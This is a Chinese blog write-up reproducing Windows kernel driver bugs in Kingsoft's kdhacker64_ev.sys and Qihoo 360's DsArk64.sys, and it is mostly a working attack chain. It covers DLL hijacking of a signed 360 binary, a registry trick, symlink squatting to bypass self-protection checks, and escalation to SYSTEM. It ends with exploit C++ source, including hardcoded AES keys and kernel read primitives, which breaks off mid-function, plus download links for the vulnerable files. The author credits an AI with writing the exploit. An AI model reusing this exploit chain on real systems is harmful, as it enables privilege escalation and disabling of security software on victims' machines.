Windows内核驱动漏洞复现两则

https://x.com/weezerOSINT/status/2043539810833568202

4月13号的信息

金山毒霸的kdhacker64_ev.sys的OOB

360的DsArk64.sys的AAR/AAW还有一个APT(Arbitrary Process Termination)

kdhacker64_ev.sys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
__int64 __fastcall sub_12E90(__int64 a1, __int64 a2, unsigned int a3, __int64 a4, unsigned int a5, unsigned int a6)
{
struct _STRING DestinationString_; // [rsp+28h] [rbp-60h] BYREF
UNICODE_STRING SourceString; // [rsp+38h] [rbp-50h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+48h] [rbp-40h] BYREF
NTSTATUS v10; // [rsp+58h] [rbp-30h]
_STRING AnsiString; // [rsp+60h] [rbp-28h] BYREF
unsigned int v12; // [rsp+70h] [rbp-18h]

v10 = -1073741823;
memset(&DestinationString, 0, sizeof(DestinationString));
memset(&SourceString, 0, sizeof(SourceString));
memset(&AnsiString, 0, sizeof(AnsiString));
memset(&DestinationString_, 0, sizeof(DestinationString_));
v12 = 0;
if ( a2 && a4 && a3 < a5 && 584 * (unsigned __int64)a6 <= a3 )
{
while ( v12 < a6 )
{
RtlInitUnicodeString(&DestinationString, (PCWSTR)(a4 + 1160LL * (int)v12 + 8));
v10 = RtlUnicodeStringToAnsiString(&AnsiString, &DestinationString, 1u);
if ( v10 < 0 )
break;
RtlInitUnicodeString(&SourceString, (PCWSTR)(a4 + 1160LL * (int)v12 + 136));
v10 = RtlUnicodeStringToAnsiString(&DestinationString_, &SourceString, 1u);
if ( v10 < 0 )
break;
memmove((void *)(a2 + 584LL * (int)v12 + 8), AnsiString.Buffer, AnsiString.Length);
memmove((void *)(a2 + 584LL * (int)v12 + 72), DestinationString_.Buffer, DestinationString_.Length);
*(_DWORD *)(a2 + 584LL * (int)v12) = *(_DWORD *)(a4 + 1160LL * (int)v12);
*(_DWORD *)(a2 + 584LL * (int)v12 + 4) = *(_DWORD *)(a4 + 1160LL * (int)v12 + 4);
RtlFreeAnsiString(&AnsiString);
RtlFreeAnsiString(&DestinationString_);
++v12;
}
}
return (unsigned int)v10;
}


__int64 __fastcall sub_12B20(__int64 a1, unsigned int *a2, unsigned int n4)
{
unsigned int Size; // [rsp+38h] [rbp-20h]
int Size_4; // [rsp+3Ch] [rbp-1Ch]

if ( !a2 || n4 < 4uLL )
return 3221225485LL;
if ( 1160LL * *a2 != n4 - 4 )
return 3221225485LL;
sub_121F0(a1 + 120);
if ( *(_QWORD *)(a1 + 8) )
{
sub_144D0(*(_QWORD *)(a1 + 8));
*(_QWORD *)(a1 + 8) = 0LL;
*(_DWORD *)(a1 + 20) = 0;
}
if ( *a2 )
{
Size = 584 * *a2;
*(_QWORD *)(a1 + 8) = sub_144A0(Size);
if ( !*(_QWORD *)(a1 + 8) )
{
sub_121D0(a1 + 120);
return 3221225626LL;
}
memset(*(void **)(a1 + 8), 0, Size);
Size_4 = sub_12E90(a1, *(_QWORD *)(a1 + 8), Size, (__int64)(a2 + 1), n4 - 4, *a2);
if ( Size_4 < 0 )
{
*(_DWORD *)(a1 + 20) = 0;
return (unsigned int)Size_4;
}
*(_DWORD *)(a1 + 20) = *a2;
}
sub_121D0(a1 + 120);
return 0LL;
}

差不多就是

sub_12B20里的Size = 584 * *a2;申请了584个单位的内存,这里的*a2可以由用户指定

RtlInitUnicodeString去读取输入

RtlUnicodeStringToAnsiString生成了DestinationString_.Length

DestinationString_.Length和之前申请的内存大小没有做比较就直接memove

memmove((void *)(a2 + 584LL * (int)v12 + 72), DestinationString_.Buffer, DestinationString_.Length);

然后就导致了OOB

差不多就是Size跟用户输入数据量各算各的导致的

前两个星期比较闲把金山毒霸的OOB过了一遍

理论上可以转为AAR/AAW然后去LPE或者RCE

但是实际操作起来非常麻烦

具体原因如下

直接贴AI的答复了

反正EXP是AI写的,动调也是AI分析的

我?

我对于pwn的知识体系了解只停留在BOF,其他的一窍不通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1. 致命缺陷一:Null 字节截断 (\x00\x00) 导致无法伪造指针

现代 Windows 系统是 64 位的,内核空间的内存地址(指针)通常是以 0xFFFF 开头的 8 字节长整型,并且中间或结尾极其容易包含 \x00\x00(零字节)。

要想实现 AAW (任意地址写),你必须利用 OOB Write 将相邻对象(如 WNF 或 Named Pipe)的"数据指针"覆盖为你想要写入的目标地址。

但是,漏洞触发路径使用了 RtlInitUnicodeString。这个函数一旦遇到 \x00\x00 就会认为字符串结束,停止读取。

结果: 你无法在 payload 中注入包含 \x00\x00 的内核地址。如果你试图把指针 0xFFFF800000123456 覆盖进去,写入操作会在遇到 \x00\x00 时直接截断,导致你很难完整、精确地伪造出一个内核指针。

2. 致命缺陷二:ANSI 转换导致二进制数据损坏 (Data Corruption)

这是另一个毁灭性的限制。内存地址和控制结构是原始的二进制字节,而不是普通的英文字母。

漏洞调用了 RtlUnicodeStringToAnsiString。这个函数会把 Unicode 转换为 ANSI。

对于标准的 ASCII 字符(0x01 到 0x7F),转换是无损的。

但是,对于大于 0x7F 的字节(比如指针中常见的 0x80, 0xFF, 0xAA 等),系统代码页(Code Page)可能无法识别,会强制将其转换为默认占位符(通常是问号 ?,即十六进制的 0x3F)。

结果: 即使你巧妙地避开了 Null 字节,当你试图写入一个内核地址时,大量高位字节会被强制改写成 0x3F。原本精心构造的内核指针会被瞬间破坏,一旦内核尝试访问这个被破坏的指针,直接导致系统蓝屏崩溃(BSoD),而无法实现提权。

估计是这玩意只能拿来当AAR用了

1
2
3
由于只能安全写入 0x01 到 0x7F 范围内的字节,这个漏洞的实战价值被大幅削弱:

实现 AAR(任意地址读/越界读):有机会。 你可以利用可见字符(如 0x41 即大写字母 'A')去覆盖相邻对象的 Size 或 Length 字段。例如,把原本 0x00000050 的长度字段覆盖成 0x41414141。长度一旦变大,你就可以越界读取后续内存,造成信息泄露(Info Leak)。

下一位


DsArk64.sys

这个在kdhacker64_ev.sys搞完之后拖了很久才搞

几方面原因吧

  1. 工作太忙没空搞

  2. 4月VPN严打导致代理太卡效率太低

  3. 做三角洲3*3任务

正好五一太闲了找点事做

大概看了一下是个AAR/AAW

看了下issue整理了下攻击思路

https://github.com/magicsword-io/LOLDrivers/issues/308

针对DsArk64.sys的调用,调用程序需要360的签名

360ceupdate.exe正好有签名,而且有一个dll劫持漏洞

执行360ceupdate.exe /loadchromeup就会去调用./chromeup.dll

./chromeup.dll就可以用自己写的EXP了

标准的白加黑

但是360ceupdate.exe该去哪里搞呢

VT的信息如下

1
2
3
4
5
6
7
8
9
File Version Information

Copyright (C) 360.cn All Rights Reserved.
Product 360极速浏览器X
Description 360极速浏览器X
Original Name 360ceupdate.exe
Internal Name 360ceupdate.exe
File Version 13.0.0.3
Date signed 2021-10-20 02:55:00 UTC

想办法在找360极速浏览器X 13.0.0.3

找了半天没找到

捋了一下思路应该是File Version是360ceupdate.exe

但是这玩意正好是360极速浏览器X的其中一个组件

确切来说是360云查杀升级组件

所以应该是要找360ceupdate.exe的13.0.0.3版本

而不是360极速浏览器X

那360极速浏览器X的版本应该是哪个?

根据签名时间可以找到时间相近的360极速浏览器X发布版本

21.0.1000.0

目前的官网下载链接如下

https://sedl.360tpcdn.com/cse/360csex_23.1.1200.64.exe

检索信息之后找到一个老版本

https://sedl.360tpcdn.com/cse/360cse_13.0.1004.0.exe

但是404了

尝试 https://sedl.360tpcdn.com/cse/360csex_21.0.1000.0.exe

1
2
3
4
5
6
7
8
9
10
11
12
curl -I https://sedl.360tpcdn.com/cse/360csex_21.0.1000.0.exe
HTTP/1.1 200 OK
Date: Sun, 03 May 2026 08:01:49 GMT
Content-Type: application/octet-stream
Content-Length: 91176528
Connection: keep-alive
Expires: Sun, 03 May 2026 08:31:49 GMT
Last-Modified: Mon, 18 Oct 2021 10:53:03 GMT
Cache-Control: max-age=1800
KCS-Via: MISS from w-hfmd01.alicn;MISS from back-hfmd01.dl.alicn;MISS from w-subsrc05.shrdt
K-Cache-status: MISS
Accept-Ranges: bytes

直接下载后安装找到360ceupdate.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
(Get-Item ".\360ceupdate.exe").VersionInfo | Format-List *


FileVersionRaw : 13.0.0.1
ProductVersionRaw : 13.0.0.1
Comments :
CompanyName : 360极速浏览器X
FileBuildPart : 0
FileDescription : 360极速浏览器X
FileMajorPart : 13
FileMinorPart : 0
FileName : D:\[DATA EXPUNGED]\2026.04.04\dsark\360ceupdate.exe
FilePrivatePart : 1
FileVersion : 13.0.0.1
InternalName : 360ceupdate.exe
IsDebug : False
IsPatched : False
IsPrivateBuild : False
IsPreRelease : False
IsSpecialBuild : False
Language : 中文(简体,中国)
LegalCopyright : (C) 360.cn All Rights Reserved.
LegalTrademarks :
OriginalFilename : 360ceupdate.exe
PrivateBuild :
ProductBuildPart : 0
ProductMajorPart : 13
ProductMinorPart : 0
ProductName : 360极速浏览器X
ProductPrivatePart : 1
ProductVersion : 13.0.0.1
SpecialBuild :

版本不太对,要验下货

拖IDA之后看Main函数

1
2
3
4
5
6
7
8
9
10
11
12
sub_402450(&Msg.message, L"/loadchromeup", 13);
...
memset(Filename, 0, sizeof(Filename));
GetModuleFileNameW(0, Filename, 0x104u);
PathRemoveFileSpecW(Filename);
sub_4017B0(lpLibFileName, Filename);
...
memmove((char *)v15 + 2 * n17_2, L"\\chromeup.dll", 0x1Au);
...
v17 = (const WCHAR *)lpLibFileName;
...
hModule_3 = LoadLibraryW(v17);

Jackpot!

但是问题随之而来

1
2
3
4
PS D:\[DATA EXPUNGED]\dsark> [BitConverter]::ToUInt16([IO.File]::ReadAllBytes(".\360ceupdate.exe"), [BitConverter]::ToInt32([IO.File]::ReadAllBytes(".\360ceupdate.exe"), 0x3C) + 4) | % { if ($_ -eq 332) { "32-bit (x86)" } elseif ($_ -eq 34404) { "64-bit (x64)" } else { "Unknown" } }
32-bit (x86)
PS D:\[DATA EXPUNGED]\dsark> [BitConverter]::ToUInt16([IO.File]::ReadAllBytes(".\DsArk64.sys"), [BitConverter]::ToInt32([IO.File]::ReadAllBytes(".\DsArk64.sys"), 0x3C) + 4) | % { if ($_ -eq 332) { "32-bit (x86)" } elseif ($_ -eq 34404) { "64-bit (x64)" } else { "Unknown" } }
64-bit (x64)

chromeup.dll需要被编译成32位的才能被360ceupdate.exe加载,但是DsArk64.sys又是64位的

WOW64跨界在所难免

只能用Heaven’s Gate

参考这个思路,试图在32位模式下直接切到64位模式执行syscall

写了shellcode,结果进程无声无息地crash

后来发现不仅是WOW64调NtLoadDriver被内核架构限制的问题

驱动的DriverEntry自己也在搞事情

算了懒得写了

熬了一个通宵加半个晚上终于提system了

直接丢AI的总结跟exp了


结构体错位与基址穷举

好不容易把驱动拉起来了,发过去的IOCTL直接报Error 87(参数错误)

排查半天发现是结构体大小对不上

在32位进程里,指针默认是4字节,但64位驱动预期的是8字节

没办法,只能强行凑齐64位驱动预期的544字节Payload结构:

1
2
3
4
5
6
7
8
#pragma pack(push, 1)
struct DSARK_RW_PAYLOAD {
DWORD SubCmd;
DWORD Size;
uint64_t TargetAddress; // 强制8字节
BYTE DataBuffer[512];
};
#pragma pack(pop)

不仅是结构体,基址也被截断了

32位的NtQuerySystemInformation只能吐出ntoskrnl基址的低32位(比如0x7B600000)

思路转换一下

既然有了KernelRead原语,直接在0xFFFFF800到0xFFFFF810之间加上低32位进行穷举爆破

找MZ头,完美拼出真正的64位内核基址


驱动加载期的"查户口"

用360的白文件去调驱动,CreateFile死活报Error 2 (找不到设备)

回溯IDA源码

在DriverEntry调用的初始化函数sub_243B4中,有这么一段:

1
2
3
4
5
6
7
8
9
10
if ( ZwOpenKey(&KeyHandle, 0x20019u, &ObjectAttributes) >= 0 ) {
// 强制读取 HKLM\SYSTEM\CurrentControlSet\services\360FsFlt\daboot
if ( ZwQueryValueKey(...) >= 0 ) {
v6 = *(_DWORD *)((char *)&v23 + 11) == 1; // 必须为 1
}
if ( v6 ) {
RtlInitUnicodeString(&DestinationString, L"\\Device\\DsArk");
IoCreateDevice(...); // v6 为真才创建设备!
}
}

驱动不见兔子不撒鹰

自己做个假兔子,在代码里强行向注册表写入360FsFlt\daboot = 1

欺骗驱动进入保护模式,它才把\Device\DsArk暴露出来


TOCTOU与符号链接占坑

拿到句柄后,IOCTL依然报Error 5 (拒绝访问)

看处理IOCTL 0x80863028的分发函数,执行前强行调用了sub_1F5F0:

1
2
3
4
5
6
7
bool sub_1F5F0() {
RtlInitUnicodeString(&ObjectName, L"\\Device\\360SelfProtection");
if ( IoGetDeviceObjectPointer(&ObjectName, ...) < 0 ) return 0; // 找不到 SP 设备直接拒绝
// ... 找到了就发 IOCTL 0x222014 去做白名单验证 ...
v2 = IofCallDriver(FileObject->DeviceObject, Irp);
return v2 != -1073741790; // 返回 STATUS_ACCESS_DENIED 就拒绝
}

这就变成了一个死局

没有360SP设备,直接报错

有了360SP设备,又会因为我们的进程不在信任名单里被拦截

当时想到了TOCTOU (Time-of-check to time-of-use)

思路是:停掉360FsFlt -> 调CreateFile拿句柄 -> 启动360FsFlt -> 发IOCTL

结果发现360FsFlt是NOT_STOPPABLE的,启动了就停不掉

TOCTOU直接破产

最后用了符号链接占坑 (Symlink Squatting)

既然驱动死活要找\Device\360SelfProtection

直接在应用层提权(SeCreateSymbolicLinkPrivilege)后,调用底层的NtCreateSymbolicLinkObject直接在\Device\对象目录下创建这个伪造的设备名,把它指向系统自带的\Device\Null

DsArk发校验请求给Null时,Null像个老好人,不看参数不验身份,无条件返回STATUS_SUCCESS (0)

DsArk收到0后直接放行AAR/AAW原语


被坑惨的密码学

绕过所有权限后,读内核基址却返回了0xFCB5B10BD38082E9这种乱码

一度以为找错了IOCTL码

loldrivers上的情报写着该原语使用AES-128-CBC

发过去的544字节是加密的,理所当然认为驱动读完内存后,写回的肯定也是AES加密过的数据

结果驱动在底层执行完MmCopyVirtualMemory后,连加密都懒得做

直接把包含目标内存的544字节明文给扔回来了

画蛇添足地拿着明文跑了一遍BCryptDecrypt,硬生生解密成了雪崩乱码

删掉多余的解密逻辑,直接提取偏移16的DataBuffer

乱码瞬间变成了期待的0xA


WOW6跨界深坑与注入死锁

在解决了驱动加载和结构体对齐问题后,遇到了一个极度折磨人的玄学现象

第一次运行EXP,加载线程必卡死,等待超时后最终报Error 2(找不到设备)

但只要紧接着跑第二次,就能瞬间提权成功拿到SYSTEM

起初,这被误判为DsArk驱动在内核里死等某些依赖(如360FsFlt)导致的超时机制,甚至一度试图在代码里写个90秒的死循环去硬抗

但复盘底层的调用链后发现,这完全是架构冲突导致的32位注入死锁

由于宿主程序360ceupdate.exe是32位的,最初的设想是利用Heaven’s Gate,在32位环境下直接切到64位模式,去执行原生的NtLoadDriver系统调用来强行拉起驱动

DsArk64.sys作为一个安全驱动,它的DriverEntry并非仅仅创建设备

它会溯源、检查当前是哪个进程拉起了它,并极有可能尝试向调用进程挂钩子或注入回调

当一个原生的64位杀软驱动,试图在初始化阶段去注入并解析一个WOW64的32位进程时,底层的架构冲突直接引发了内核级的注入死锁

这也是为什么第一次运行时进程会无声无息地卡死

那为什么第二次能秒成?

因为当第一次EXP因超时报错而退出(32位进程被系统物理销毁)时,内核里那个死锁的条件瞬间被打破了——驱动发现目标进程没了,立刻放弃了挂钩拦截,顺畅地走完了后续的DriverEntry流程并创建了\Device\DsArk

所以第二次运行EXP时,驱动已经在后台就绪,自然一路绿灯

既然在32位进程里直接调用NtLoadDriver会引发死锁,破局之道就是回归大道至简,利用Windows的原生机制:抛弃花里胡哨的底层调用,直接在C++里改用标准的StartServiceW API

调用StartServiceW后,Windows会将拉起驱动的任务通过RPC移交给services.exe,一个64位原生系统进程

DsArk驱动一检查,发现是个纯64位环境,瞬间初始化完毕

没有任何死锁,没有任何超时等待,完美避开了WOW64的所有历史遗留问题


1231版本与1235版本的机制差异与占坑表现

最初分析的是24年1月的1231版本,也就是loldrivers.io上的

https://www.loldrivers.io/drivers/399fb787-5b06-46f0-86cb-dff7374bb015/

后来为了过360SelfProtection校验,在测试机装了最新版360,阴差阳错碰上了24年11月更新的1235版本

这俩版本在底层逻辑上有一个极其微妙的区别,导致了Symlink Squatting(符号链接占坑)在这两个版本上的触发时机和表现有所不同

1231版本的逻辑非常一根筋

无论是在CreateFile(打开设备句柄)阶段,还是在DeviceIoControl(执行读写原语)阶段,都会强行去寻找360SP设备

1
2
if ( IoGetDeviceObjectPointer(..., L"\\Device\\360SelfProtection", ...) < 0 )
return 0; // 找不到设备直接拒绝

没有任何Fallback(降级)路径

在1231版本中,必须在最开始就完成占坑

如果不把\Device\360SelfProtection软链接到\Device\Null,第一步CreateFile就会直接报Error 5(拒绝访问)

占坑后,CreateFile和DeviceIoControl的两道校验会全部打到Null设备上,无条件返回STATUS_SUCCESS

1235版本的开发人员可能发现旧版驱动在某些没装全家桶的环境下会导致瘫痪

于是在CreateFile的校验函数sub_23CCC中,加了一个Fallback路径

1
2
if ( IoGetDeviceObjectPointer(..., L"\\Device\\360SelfProtection", ...) < 0 )
return sub_144B0(); // 找不到 360SP?走备用的数字签名检查

sub_144B0会检查调用者的数字证书

因为利用链劫持的是有官方签名的360ceupdate.exe,所以在这个版本下,即使不使用符号链接占坑,CreateFile阶段也能完美放行,拿到设备句柄

但问题随之而来

360程序员在CreateFile校验里加了备用路径,却忘记在IOCTL的核心校验函数sub_1F5F0里加同样的备用路径

这就导致凭着合法签名拿到了句柄,一发IOCTL就直接被死死卡住,报Error 5

在1235版本中,虽然能靠签名白嫖到设备句柄,但为了绕过IOCTL阶段的硬性校验,依然必须使用符号链接占坑

占坑生效后,IOCTL的验证请求被重定向给\Device\Null并返回0,AAR/AAW原语彻底放行

不管是1231还是1235,只要底层的权限校验逻辑是向目标设备发IOCTL请求并判断状态码,利用\Device\Null盲返回STATUS_SUCCESS的占坑手法就是通杀的

区别仅在于

针对1231版本,不占坑连设备句柄都拿不到

针对1235版本,不占坑能拿到句柄,但原语无法执行


AAR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
n6 = *a1;           // 提取 SubCmd
v8 = n6 - 1; // 判断 SubCmd 是否等于 1
if ( !v8 ) // 如果是 1,进入 AAR 逻辑
{
n0x200 = (unsigned int)a1[1]; // 提取你要读取的大小 (Size)
if ( n0x10_1 >= n0x200 + 16 ) // 校验总包长度
{
if ( (_DWORD)n0x200 )
{
if ( (unsigned int)n0x200 <= 0x200 ) // 【关键限制】读取大小最大不能超过 0x200 (512 字节)
{
MmSystemRangeStart = *((_QWORD *)a1 + 1); // 提取 TargetAddress
if ( MmSystemRangeStart > (unsigned __int64)MmSystemRangeStart_Global ) // 【关键限制】目标地址必须大于 MmSystemRangeStart,即必须是内核空间地址
{
v28[0] = a1 + 4; // 参数1:接收数据的缓冲区 (DataBuffer 偏移)
v28[1] = MmSystemRangeStart; // 参数2:目标内核地址
v28[2] = n0x200; // 参数3:读取大小
return (unsigned int)sub_1B158(sub_1D570, v28); // 调用底层拷贝函数,将内核数据读入缓冲区
}
}
}
}
return v4;
}

AAW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v9 = v8 - 1;        // 判断 SubCmd 是否等于 2 (此时 v8 为 1,1-1=0)
if ( !v9 ) // 如果是 2,进入 AAW 逻辑
{
n0x20 = (unsigned int)a1[1]; // 提取你要写入的大小 (Size)
if ( n0x10_1 >= n0x20 + 16
&& (_DWORD)n0x20
&& (unsigned int)n0x20 <= 0x20 // 【关键限制】写入大小最大不能超过 0x20 (32 字节)
&& *((_QWORD *)a1 + 1) > (unsigned __int64)MmSystemRangeStart_Global ) // 同样限制必须写入内核空间
{
v27[0] = *((_QWORD *)a1 + 1); // 参数1:目标内核地址 (TargetAddress)
v27[1] = a1 + 4; // 参数2:你要写入的数据源 (DataBuffer 偏移)
v27[2] = n0x20; // 参数3:写入大小
return (unsigned int)sub_1B158(sub_1D5E8, v27); // 调用底层拷贝函数,将你的数据覆写到内核
}
return v4;
}

EXP

https://yoloyolo.top/files/windows_kernel_2026.05.05/DsArk64.sys

https://yoloyolo.top/files/windows_kernel_2026.05.05/360ceupdate.exe

Hacked

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
#include <windows.h>
#include <iostream>
#include <winternl.h>
#include <bcrypt.h>
#include <cstdint>
#include <stdio.h>
#pragma comment(lib, "Bcrypt.lib")
#pragma comment(lib, "ntdll.lib")

#define IOCTL_TERMINATE_PROC 0x80863008
#define IOCTL_ARW_PRIMITIVE 0x80863028

// 驱动静态密钥
const BYTE AES_KEY[] = { 0x62, 0xb4, 0x56, 0xec, 0x40, 0x7f, 0x0a, 0x9a, 0x05, 0x91, 0x1c, 0xb6, 0xf2, 0x38, 0xa7, 0xfe };
const BYTE AES_IV[] = { 0xe5, 0x93, 0x29, 0xb6, 0xd4, 0x08, 0xe7, 0xfa, 0x55, 0x76, 0x37, 0xe6, 0x2c, 0x9e, 0xaa, 0x43 };

// 强制 1 字节对齐,且指针必须是 64 位 (uint64_t),以适配 WOW64 环境
#pragma pack(push, 1)
struct DSARK_RW_PAYLOAD {
DWORD SubCmd;
DWORD Size;
uint64_t TargetAddress;
BYTE DataBuffer[512];
};
#pragma pack(pop)

typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

#define SystemExtendedHandleInformation 64

// 强制 64 位布局的句柄信息结构体
struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
uint64_t Object;
uint64_t UniqueProcessId;
uint64_t HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
};

struct SYSTEM_HANDLE_INFORMATION_EX {
uint64_t NumberOfHandles;
uint64_t Reserved;
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
};

// ========================================================================
// 密码学封包核心 (AES-128-CBC + MD5)
// ========================================================================
bool EncryptDsArkPayload(DSARK_RW_PAYLOAD* pPlaintext, BYTE* pOutBuffer, DWORD* pOutLen) {
BCRYPT_ALG_HANDLE hMd5Alg = NULL, hAesAlg = NULL;
BCRYPT_HASH_HANDLE hHash = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
DWORD cbHash = 16, cbBlockLen = 16;
BYTE hashDigest[16];

BCryptOpenAlgorithmProvider(&hMd5Alg, BCRYPT_MD5_ALGORITHM, NULL, 0);
BCryptCreateHash(hMd5Alg, &hHash, NULL, 0, NULL, 0, 0);
BCryptHashData(hHash, (PUCHAR)pPlaintext, sizeof(DSARK_RW_PAYLOAD), 0);
BCryptFinishHash(hHash, hashDigest, cbHash, 0);
BCryptDestroyHash(hHash);
BCryptCloseAlgorithmProvider(hMd5Alg, 0);

DWORD rawSize = 16 + sizeof(DSARK_RW_PAYLOAD);
BYTE* rawBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, rawSize + cbBlockLen);
memcpy(rawBuffer, hashDigest, 16);
memcpy(rawBuffer + 16, pPlaintext, sizeof(DSARK_RW_PAYLOAD));

DWORD paddedSize = (rawSize % cbBlockLen == 0) ? rawSize : ((rawSize / cbBlockLen) + 1) * cbBlockLen;

BCryptOpenAlgorithmProvider(&hAesAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAesAlg, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

struct {
BCRYPT_KEY_DATA_BLOB_HEADER Header;
BYTE Key[16];
} KeyBlob;
KeyBlob.Header.dwMagic = BCRYPT_KEY_DATA_BLOB_MAGIC;
KeyBlob.Header.dwVersion = BCRYPT_KEY_DATA_BLOB_VERSION1;
KeyBlob.Header.cbKeyData = 16;
memcpy(KeyBlob.Key, AES_KEY, 16);

BCryptImportKey(hAesAlg, NULL, BCRYPT_KEY_DATA_BLOB, &hKey, NULL, 0, (PUCHAR)&KeyBlob, sizeof(KeyBlob), 0);

BYTE ivCopy[16];
memcpy(ivCopy, AES_IV, 16);

// 不用 BCRYPT_BLOCK_PADDING: 数据已经 16 字节对齐,驱动端不剥 PKCS7 padding
BCryptEncrypt(hKey, rawBuffer, paddedSize, NULL, ivCopy, 16, pOutBuffer, 1024, pOutLen, 0);

BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAesAlg, 0);
HeapFree(GetProcessHeap(), 0, rawBuffer);

return true;
}

bool DecryptDsArkPayload(BYTE* pCipherBuffer, DWORD cipherLen, DSARK_RW_PAYLOAD* pOutPlaintext, BYTE* pIV) {
// 检查驱动是否直接返回了明文!
// 如果返回的是明文,偏移 16 字节处应该是 SubCmd (1 或 2)
DWORD possibleSubCmd = *(DWORD*)(pCipherBuffer + 16);
if (possibleSubCmd == 1 || possibleSubCmd == 2) {
memcpy(pOutPlaintext, pCipherBuffer + 16, sizeof(DSARK_RW_PAYLOAD));
return true;
}

BCRYPT_ALG_HANDLE hAesAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;

BCryptOpenAlgorithmProvider(&hAesAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAesAlg, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);

struct {
BCRYPT_KEY_DATA_BLOB_HEADER Header;
BYTE Key[16];
} KeyBlob;
KeyBlob.Header.dwMagic = BCRYPT_KEY_DATA_BLOB_MAGIC;
KeyBlob.Header.dwVersion = BCRYPT_KEY_DATA_BLOB_VERSION1;
KeyBlob.Header.cbKeyData = 16;
memcpy(KeyBlob.Key, AES_KEY, 16);

BCryptImportKey(hAesAlg, NULL, BCRYPT_KEY_DATA_BLOB, &hKey, NULL, 0, (PUCHAR)&KeyBlob, sizeof(KeyBlob), 0);

BYTE ivCopy[16];
memcpy(ivCopy, pIV, 16);

BYTE* decBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cipherLen);
DWORD decLen = 0;

NTSTATUS status = BCryptDecrypt(hKey, pCipherBuffer, cipherLen, NULL, ivCopy, 16, decBuffer, cipherLen, &decLen, 0);

BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAesAlg, 0);

if (status != 0 || decLen < 16 + sizeof(DSARK_RW_PAYLOAD)) {
HeapFree(GetProcessHeap(), 0, decBuffer);
return false;
}

memcpy(pOutPlaintext, decBuffer + 16, sizeof(DSARK_RW_PAYLOAD));
HeapFree(GetProcessHeap(), 0, decBuffer);
return true;
}

// ========================================================================
// 内核读写原语
// ========================================================================
static int g_readDbgCount = 0;
uint64_t KernelRead64(HANDLE hDevice, uint64_t address) {
DSARK_RW_PAYLOAD req = { 0 };
req.SubCmd = 1;
req.Size = 8;
req.TargetAddress = address;

BYTE encBuffer[1024] = { 0 };
DWORD encLen = 0;
bool encOk = EncryptDsArkPayload(&req, encBuffer, &encLen);

